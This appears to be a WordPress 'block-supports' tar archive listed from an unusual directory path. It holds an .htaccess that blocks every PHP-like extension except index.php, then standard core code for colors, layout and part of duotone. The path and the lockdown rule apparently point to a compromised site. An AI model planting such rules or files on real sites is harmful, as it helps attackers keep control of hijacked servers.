?
Current File : /home/c/i/d/cideo/www/wp-includesVIp/js/crop/images/block-supports.tar
themes/.htaccess000066600000000325151234100170007625 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>colors.php000066600000012241151234100170006554 0ustar00<?php
/**
 * Colors block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.1.0 Improved $color_support assignment optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_colors_support( $block_type ) {
	$color_support                 = property_exists( $block_type, 'supports' ) ? _wp_array_get( $block_type->supports, array( 'color' ), false ) : false;
	$has_text_colors_support       = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'text' ), true ) );
	$has_background_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'background' ), true ) );
	$has_gradients_support         = _wp_array_get( $color_support, array( 'gradients' ), false );
	$has_link_colors_support       = _wp_array_get( $color_support, array( 'link' ), false );
	$has_color_support             = $has_text_colors_support ||
		$has_background_colors_support ||
		$has_gradients_support ||
		$has_link_colors_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
		$block_type->attributes['backgroundColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
		$block_type->attributes['textColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
		$block_type->attributes['gradient'] = array(
			'type' => 'string',
		);
	}
}


/**
 * Adds CSS classes and inline styles for colors to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function wp_apply_colors_support( $block_type, $block_attributes ) {
	$color_support = _wp_array_get( $block_type->supports, array( 'color' ), false );

	if (
		is_array( $color_support ) &&
		wp_should_skip_block_supports_serialization( $block_type, 'color' )
	) {
		return array();
	}

	$has_text_colors_support       = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'text' ), true ) );
	$has_background_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'background' ), true ) );
	$has_gradients_support         = _wp_array_get( $color_support, array( 'gradients' ), false );
	$color_block_styles            = array();

	// Text colors.
	if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
		$preset_text_color          = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
		$custom_text_color          = _wp_array_get( $block_attributes, array( 'style', 'color', 'text' ), null );
		$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
	}

	// Background colors.
	if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
		$preset_background_color          = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
		$custom_background_color          = _wp_array_get( $block_attributes, array( 'style', 'color', 'background' ), null );
		$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
	}

	// Gradients.
	if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) {
		$preset_gradient_color          = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
		$custom_gradient_color          = _wp_array_get( $block_attributes, array( 'style', 'color', 'gradient' ), null );
		$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'colors',
	array(
		'register_attribute' => 'wp_register_colors_support',
		'apply'              => 'wp_apply_colors_support',
	)
);
layout.php000066600000054134151234100170006577 0ustar00<?php
/**
 * Layout block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the layout block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_layout_support( $block_type ) {
	$support_layout = block_has_support( $block_type, array( '__experimentalLayout' ), false );
	if ( $support_layout ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
			$block_type->attributes['layout'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Generates the CSS corresponding to the provided layout.
 *
 * @since 5.9.0
 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
 * @access private
 *
 * @param string               $selector                      CSS selector.
 * @param array                $layout                        Layout object. The one that is passed has already checked
 *                                                            the existence of default block layout.
 * @param bool                 $has_block_gap_support         Optional. Whether the theme has support for the block gap. Default false.
 * @param string|string[]|null $gap_value                     Optional. The block gap value to apply. Default null.
 * @param bool                 $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
 * @param string               $fallback_gap_value            Optional. The block gap value to apply. Default '0.5em'.
 * @param array|null           $block_spacing                 Optional. Custom spacing set on the block. Default null.
 * @return string CSS styles on success. Else, empty string.
 */
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) {
	$layout_type   = isset( $layout['type'] ) ? $layout['type'] : 'default';
	$layout_styles = array();

	if ( 'default' === $layout_type ) {
		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'constrained' === $layout_type ) {
		$content_size    = isset( $layout['contentSize'] ) ? $layout['contentSize'] : '';
		$wide_size       = isset( $layout['wideSize'] ) ? $layout['wideSize'] : '';
		$justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center';

		$all_max_width_value  = $content_size ? $content_size : $wide_size;
		$wide_max_width_value = $wide_size ? $wide_size : $content_size;

		// Make sure there is a single CSS rule, and all tags are stripped for security.
		$all_max_width_value  = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
		$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );

		$margin_left  = 'left' === $justify_content ? '0 !important' : 'auto !important';
		$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';

		if ( $content_size || $wide_size ) {
			array_push(
				$layout_styles,
				array(
					'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
					'declarations' => array(
						'max-width'    => $all_max_width_value,
						'margin-left'  => $margin_left,
						'margin-right' => $margin_right,
					),
				),
				array(
					'selector'     => "$selector > .alignwide",
					'declarations' => array( 'max-width' => $wide_max_width_value ),
				),
				array(
					'selector'     => "$selector .alignfull",
					'declarations' => array( 'max-width' => 'none' ),
				)
			);

			if ( isset( $block_spacing ) ) {
				$block_spacing_values = wp_style_engine_get_styles(
					array(
						'spacing' => $block_spacing,
					)
				);

				/*
				 * Handle negative margins for alignfull children of blocks with custom padding set.
				 * They're added separately because padding might only be set on one side.
				 */
				if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
					$padding_right   = $block_spacing_values['declarations']['padding-right'];
					$layout_styles[] = array(
						'selector'     => "$selector > .alignfull",
						'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
					);
				}
				if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
					$padding_left    = $block_spacing_values['declarations']['padding-left'];
					$layout_styles[] = array(
						'selector'     => "$selector > .alignfull",
						'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
					);
				}
			}
		}

		if ( 'left' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-left' => '0 !important' ),
			);
		}

		if ( 'right' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-right' => '0 !important' ),
			);
		}

		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'flex' === $layout_type ) {
		$layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal';

		$justify_content_options = array(
			'left'   => 'flex-start',
			'right'  => 'flex-end',
			'center' => 'center',
		);

		$vertical_alignment_options = array(
			'top'    => 'flex-start',
			'center' => 'center',
			'bottom' => 'flex-end',
		);

		if ( 'horizontal' === $layout_orientation ) {
			$justify_content_options    += array( 'space-between' => 'space-between' );
			$vertical_alignment_options += array( 'stretch' => 'stretch' );
		} else {
			$justify_content_options    += array( 'stretch' => 'stretch' );
			$vertical_alignment_options += array( 'space-between' => 'space-between' );
		}

		if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-wrap' => 'nowrap' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = is_string( $gap_value ) ? $gap_value : _wp_array_get( $gap_value, array( $gap_side ), $fallback_gap_value );
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}

		if ( 'horizontal' === $layout_orientation ) {
			/*
			 * Add this style only if is not empty for backwards compatibility,
			 * since we intend to convert blocks that had flex layout implemented
			 * by custom css.
			 */
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			}

			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		} else {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-direction' => 'column' ),
			);
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			} else {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => 'flex-start' ),
				);
			}
			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		}
	}

	if ( ! empty( $layout_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return compiled layout styles to retain backwards compatibility.
		 * Since https://github.com/WordPress/gutenberg/pull/42452,
		 * wp_enqueue_block_support_styles is no longer called in this block supports file.
		 */
		return wp_style_engine_get_stylesheet_from_css_rules(
			$layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);
	}

	return '';
}

/**
 * Renders the layout config to the block wrapper.
 *
 * @since 5.8.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_layout_support_flag( $block_content, $block ) {
	$block_type     = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$support_layout = block_has_support( $block_type, array( '__experimentalLayout' ), false );
	$has_child_layout = isset( $block['attrs']['style']['layout']['selfStretch'] );

	if ( ! $support_layout && ! $has_child_layout ) {
		return $block_content;
	}
	$outer_class_names = array();

	if ( $has_child_layout && ( 'fixed' === $block['attrs']['style']['layout']['selfStretch'] || 'fill' === $block['attrs']['style']['layout']['selfStretch'] ) ) {
		$container_content_class = wp_unique_id( 'wp-container-content-' );

		$child_layout_styles = array();

		if ( 'fixed' === $block['attrs']['style']['layout']['selfStretch'] && isset( $block['attrs']['style']['layout']['flexSize'] ) ) {
			$child_layout_styles[] = array(
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'flex-basis' => $block['attrs']['style']['layout']['flexSize'],
					'box-sizing' => 'border-box',
				),
			);
		} elseif ( 'fill' === $block['attrs']['style']['layout']['selfStretch'] ) {
			$child_layout_styles[] = array(
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'flex-grow' => '1',
				),
			);
		}

		wp_style_engine_get_stylesheet_from_css_rules(
			$child_layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		$outer_class_names[] = $container_content_class;
	}

	// Return early if only child layout exists.
	if ( ! $support_layout && ! empty( $outer_class_names ) ) {
		$content = new WP_HTML_Tag_Processor( $block_content );
		$content->next_tag();
		$content->add_class( implode( ' ', $outer_class_names ) );
		return (string) $content;
	}

	$global_settings               = wp_get_global_settings();
	$block_gap                     = _wp_array_get( $global_settings, array( 'spacing', 'blockGap' ), null );
	$has_block_gap_support         = isset( $block_gap );
	$global_layout_settings        = _wp_array_get( $global_settings, array( 'layout' ), null );
	$root_padding_aware_alignments = _wp_array_get( $global_settings, array( 'useRootPaddingAwareAlignments' ), false );

	$default_block_layout = _wp_array_get( $block_type->supports, array( '__experimentalLayout', 'default' ), array() );
	$used_layout          = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $default_block_layout;

	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] && ! $global_layout_settings ) {
		return $block_content;
	}

	$class_names        = array();
	$layout_definitions = _wp_array_get( $global_layout_settings, array( 'definitions' ), array() );
	$container_class    = wp_unique_id( 'wp-container-' );
	$layout_classname   = '';

	// Set the correct layout type for blocks using legacy content width.
	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
		$used_layout['type'] = 'constrained';
	}

	if (
		$root_padding_aware_alignments &&
		isset( $used_layout['type'] ) &&
		'constrained' === $used_layout['type']
	) {
		$class_names[] = 'has-global-padding';
	}

	/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
	if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
		$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
	}

	if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
		$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
	}

	if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
		$class_names[] = 'is-nowrap';
	}

	// Get classname for layout type.
	if ( isset( $used_layout['type'] ) ) {
		$layout_classname = _wp_array_get( $layout_definitions, array( $used_layout['type'], 'className' ), '' );
	} else {
		$layout_classname = _wp_array_get( $layout_definitions, array( 'default', 'className' ), '' );
	}

	if ( $layout_classname && is_string( $layout_classname ) ) {
		$class_names[] = sanitize_title( $layout_classname );
	}

	/*
	 * Only generate Layout styles if the theme has not opted-out.
	 * Attribute-based Layout classnames are output in all cases.
	 */
	if ( ! current_theme_supports( 'disable-layout-styles' ) ) {

		$gap_value = _wp_array_get( $block, array( 'attrs', 'style', 'spacing', 'blockGap' ) );
		/*
		 * Skip if gap value contains unsupported characters.
		 * Regex for CSS value borrowed from `safecss_filter_attr`, and used here
		 * to only match against the value, not the CSS attribute.
		 */
		if ( is_array( $gap_value ) ) {
			foreach ( $gap_value as $key => $value ) {
				$gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
			}
		} else {
			$gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
		}

		$fallback_gap_value = _wp_array_get( $block_type->supports, array( 'spacing', 'blockGap', '__experimentalDefault' ), '0.5em' );
		$block_spacing      = _wp_array_get( $block, array( 'attrs', 'style', 'spacing' ), null );

		/*
		 * If a block's block.json skips serialization for spacing or spacing.blockGap,
		 * don't apply the user-defined value to the styles.
		 */
		$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );

		$style = wp_get_layout_style(
			".$container_class.$container_class",
			$used_layout,
			$has_block_gap_support,
			$gap_value,
			$should_skip_gap_serialization,
			$fallback_gap_value,
			$block_spacing
		);

		// Only add container class and enqueue block support styles if unique styles were generated.
		if ( ! empty( $style ) ) {
			$class_names[] = $container_class;
		}
	}

	$content_with_outer_classnames = '';

	if ( ! empty( $outer_class_names ) ) {
		$content_with_outer_classnames = new WP_HTML_Tag_Processor( $block_content );
		$content_with_outer_classnames->next_tag();
		foreach ( $outer_class_names as $outer_class_name ) {
			$content_with_outer_classnames->add_class( $outer_class_name );
		}

		$content_with_outer_classnames = (string) $content_with_outer_classnames;
	}

	/**
	* The first chunk of innerContent contains the block markup up until the inner blocks start.
	* This targets the opening tag of the inner blocks wrapper, which is the last tag in that chunk.
	*/
	$inner_content_classnames = '';

	if ( isset( $block['innerContent'][0] ) && 'string' === gettype( $block['innerContent'][0] ) && count( $block['innerContent'] ) > 1 ) {
		$tags            = new WP_HTML_Tag_Processor( $block['innerContent'][0] );
		$last_classnames = '';
		while ( $tags->next_tag() ) {
			$last_classnames = $tags->get_attribute( 'class' );
		}

		$inner_content_classnames = (string) $last_classnames;
	}

	$content = $content_with_outer_classnames ? new WP_HTML_Tag_Processor( $content_with_outer_classnames ) : new WP_HTML_Tag_Processor( $block_content );

	if ( $inner_content_classnames ) {
		$content->next_tag( array( 'class_name' => $inner_content_classnames ) );
		foreach ( $class_names as $class_name ) {
			$content->add_class( $class_name );
		}
	} else {
		$content->next_tag();
		foreach ( $class_names as $class_name ) {
			$content->add_class( $class_name );
		}
	}

	return (string) $content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'layout',
	array(
		'register_attribute' => 'wp_register_layout_support',
	)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the inner div for the group block
 * to avoid breaking styles relying on that div.
 *
 * @since 5.8.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_restore_group_inner_container( $block_content, $block ) {
	$tag_name                         = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div';
	$group_with_inner_container_regex = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
		preg_quote( $tag_name, '/' )
	);

	if (
		wp_theme_has_theme_json() ||
		1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
		( isset( $block['attrs']['layout']['type'] ) && 'flex' === $block['attrs']['layout']['type'] )
	) {
		return $block_content;
	}

	$replace_regex   = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
		preg_quote( $tag_name, '/' )
	);
	$updated_content = preg_replace_callback(
		$replace_regex,
		static function( $matches ) {
			return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3];
		},
		$block_content
	);
	return $updated_content;
}

add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the outer div for the aligned image block
 * to avoid breaking styles relying on that div.
 *
 * @since 6.0.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param  array  $block        Block object.
 * @return string Filtered block content.
 */
function wp_restore_image_outer_container( $block_content, $block ) {
	$image_with_align = "
/# 1) everything up to the class attribute contents
(
	^\s*
	<figure\b
	[^>]*
	\bclass=
	[\"']
)
# 2) the class attribute contents
(
	[^\"']*
	\bwp-block-image\b
	[^\"']*
	\b(?:alignleft|alignright|aligncenter)\b
	[^\"']*
)
# 3) everything after the class attribute contents
(
	[\"']
	[^>]*
	>
	.*
	<\/figure>
)/iUx";

	if (
		wp_theme_has_theme_json() ||
		0 === preg_match( $image_with_align, $block_content, $matches )
	) {
		return $block_content;
	}

	$wrapper_classnames = array( 'wp-block-image' );

	// If the block has a classNames attribute these classnames need to be removed from the content and added back
	// to the new wrapper div also.
	if ( ! empty( $block['attrs']['className'] ) ) {
		$wrapper_classnames = array_merge( $wrapper_classnames, explode( ' ', $block['attrs']['className'] ) );
	}
	$content_classnames          = explode( ' ', $matches[2] );
	$filtered_content_classnames = array_diff( $content_classnames, $wrapper_classnames );

	return '<div class="' . implode( ' ', $wrapper_classnames ) . '">' . $matches[1] . implode( ' ', $filtered_content_classnames ) . $matches[3] . '</div>';
}

add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
duotone.php000066600000037342151234100170006741 0ustar00<?php
/**
 * Duotone block support flag.
 *
 * Parts of this source were derived and modified from TinyColor,
 * released under the MIT license.
 *
 * https://github.com/bgrins/TinyColor
 *
 * Copyright (c), Brian Grinstead, http://briangrinstead.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Takes input from [0, n] and returns it as [0, 1].
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @see https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @access private
 *
 * @param mixed $n   Number of unknown type.
 * @param int   $max Upper value of the range to bound to.
 * @return float Value in the range [0, 1].
 */
function wp_tinycolor_bound01( $n, $max ) {
	if ( 'string' === gettype( $n ) && false !== strpos( $n, '.' ) && 1 === (float) $n ) {
		$n = '100%';
	}

	$n = min( $max, max( 0, (float) $n ) );

	// Automatically convert percentage into number.
	if ( 'string' === gettype( $n ) && false !== strpos( $n, '%' ) ) {
		$n = (int) ( $n * $max ) / 100;
	}

	// Handle floating point rounding errors.
	if ( ( abs( $n - $max ) < 0.000001 ) ) {
		return 1.0;
	}

	// Convert into [0, 1] range if it isn't already.
	return ( $n % $max ) / (float) $max;
}

/**
 * Direct port of tinycolor's boundAlpha function to maintain consistency with
 * how tinycolor works.
 *
 * @see https://github.com/bgrins/TinyColor
 *
 * @since 5.9.0
 * @access private
 *
 * @param mixed $n Number of unknown type.
 * @return float Value in the range [0,1].
 */
function _wp_tinycolor_bound_alpha( $n ) {
	if ( is_numeric( $n ) ) {
		$n = (float) $n;
		if ( $n >= 0 && $n <= 1 ) {
			return $n;
		}
	}
	return 1;
}

/**
 * Rounds and converts values of an RGB object.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @see https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @access private
 *
 * @param array $rgb_color RGB object.
 * @return array Rounded and converted RGB object.
 */
function wp_tinycolor_rgb_to_rgb( $rgb_color ) {
	return array(
		'r' => wp_tinycolor_bound01( $rgb_color['r'], 255 ) * 255,
		'g' => wp_tinycolor_bound01( $rgb_color['g'], 255 ) * 255,
		'b' => wp_tinycolor_bound01( $rgb_color['b'], 255 ) * 255,
	);
}

/**
 * Helper function for hsl to rgb conversion.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @see https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @access private
 *
 * @param float $p first component.
 * @param float $q second component.
 * @param float $t third component.
 * @return float R, G, or B component.
 */
function wp_tinycolor_hue_to_rgb( $p, $q, $t ) {
	if ( $t < 0 ) {
		++$t;
	}
	if ( $t > 1 ) {
		--$t;
	}
	if ( $t < 1 / 6 ) {
		return $p + ( $q - $p ) * 6 * $t;
	}
	if ( $t < 1 / 2 ) {
		return $q;
	}
	if ( $t < 2 / 3 ) {
		return $p + ( $q - $p ) * ( 2 / 3 - $t ) * 6;
	}
	return $p;
}

/**
 * Converts an HSL object to an RGB object with converted and rounded values.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @see https://github.com/bgrins/TinyColor
 *
 * @since 5.8.0
 * @access private
 *
 * @param array $hsl_color HSL object.
 * @return array Rounded and converted RGB object.
 */
function wp_tinycolor_hsl_to_rgb( $hsl_color ) {
	$h = wp_tinycolor_bound01( $hsl_color['h'], 360 );
	$s = wp_tinycolor_bound01( $hsl_color['s'], 100 );
	$l = wp_tinycolor_bound01( $hsl_color['l'], 100 );

	if ( 0 === $s ) {
		// Achromatic.
		$r = $l;
		$g = $l;
		$b = $l;
	} else {
		$q = $l < 0.5 ? $l * ( 1 + $s ) : $l + $s - $l * $s;
		$p = 2 * $l - $q;
		$r = wp_tinycolor_hue_to_rgb( $p, $q, $h + 1 / 3 );
		$g = wp_tinycolor_hue_to_rgb( $p, $q, $h );
		$b = wp_tinycolor_hue_to_rgb( $p, $q, $h - 1 / 3 );
	}

	return array(
		'r' => $r * 255,
		'g' => $g * 255,
		'b' => $b * 255,
	);
}

/**
 * Parses hex, hsl, and rgb CSS strings using the same regex as TinyColor v1.4.2
 * used in the JavaScript. Only colors output from react-color are implemented.
 *
 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @see https://github.com/bgrins/TinyColor
 * @see https://github.com/casesandberg/react-color/
 *
 * @since 5.8.0
 * @since 5.9.0 Added alpha processing.
 * @access private
 *
 * @param string $color_str CSS color string.
 * @return array RGB object.
 */
function wp_tinycolor_string_to_rgb( $color_str ) {
	$color_str = strtolower( trim( $color_str ) );

	$css_integer = '[-\\+]?\\d+%?';
	$css_number  = '[-\\+]?\\d*\\.\\d+%?';

	$css_unit = '(?:' . $css_number . ')|(?:' . $css_integer . ')';

